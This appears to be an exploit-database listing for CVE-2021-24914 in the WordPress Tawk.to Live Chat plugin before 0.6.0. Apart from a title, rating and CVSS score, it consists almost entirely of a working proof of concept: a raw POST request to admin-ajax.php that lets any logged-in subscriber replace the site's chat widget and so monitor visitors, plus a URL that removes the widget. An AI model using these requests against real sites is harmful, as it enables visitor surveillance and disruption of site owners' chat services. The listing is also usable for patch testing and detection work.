Exploit for Tawk.to Live Chat < 0.6.0 - Subscriber+ Visitor Monitoring & Chat Removal CVE-2021-24914

Name: Exploit for Tawk.to Live Chat < 0.6.0 - Subscriber+ Visitor Monitoring & Chat Removal CVE-2021-24914
Rating: 5 (91 reviews)

2021-11-08 | CVSS 6.0

## https://sploitus.com/exploit?id=WPEX-ID:39392055-8CD3-452F-8BCB-A650F5BDDC2E
POST /wp-admin/admin-ajax.php?action=tawkto_setwidget
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Cookie: [any authenticated user]

pageId=61786f4e86aee40a573880d7&widgetId=1fiv75jah


https://example.com/wp-admin/admin-ajax.php?action=tawkto_removewidget